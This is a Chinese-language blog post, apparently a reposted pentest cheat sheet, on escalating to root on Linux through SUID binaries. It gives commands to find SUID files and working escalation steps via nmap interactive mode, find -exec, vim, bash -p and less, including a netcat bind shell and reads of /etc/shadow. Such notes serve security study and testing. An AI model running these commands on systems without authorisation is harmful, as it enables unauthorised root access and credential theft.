[提权]对 SUID 可提权 Root Shell 的总结

0x01 简介

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可以用来提权的Linux可执行文件有:

Nmap、Vim、find、Bash、More、Less、Nano、cp

下面的命令可以发现所有的系统中运行的SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 

上面的所有二进制文件都可以在root权限下运行,因为他们的owner是root,并且他们的权限中含有s。s权限使一般使用者临时具有该文件所属主/组的执行权限。所以这里就可以假冒 root 用户来执行一些高权操作。

0x02 Nmap

早版本的Nmap(2.02到5.21)有交互模式,允许用户执行shell命令。Nmap也是root权限下运行的二进制文件。通过参数interactive可以进入交互模式:

nmap --interactive

下面的命令可以对shell提权:

nmap> !sh
sh-3.2# whoami
root

Metasploit也有利用SUID Nmap进行提权攻击:

exploit/unix/local/setuid_nmap

0x03 Find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

touch pentestlab
find pentestlab -exec whoami \;

主流的Linux操作系统都安装了netcat,可以将该命令提权为root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

当然除了借助 nc 也可以参考其他工具:[Shell]多姿势反弹shell

0x04 Vim

如果 vim 以 SUID 运行,就会继承 root 用户的权限,可以读取系统中所有的文件。

vim.tiny /etc/shadow

通过vim运行shell:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

0x05 Bash

下面的命令可以以root权限打开bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

0x06 Less/More

Less 和 more 都可以执行提权的shell

less /etc/passwd
!/bin/sh

0x07 参考链接

https://www.freebuf.com/articles/system/149118.html
https://pentestlab.blog/2017/09/25/suid-executables/

猜你喜欢

转载自www.cnblogs.com/-mo-/p/12194099.html
今日推荐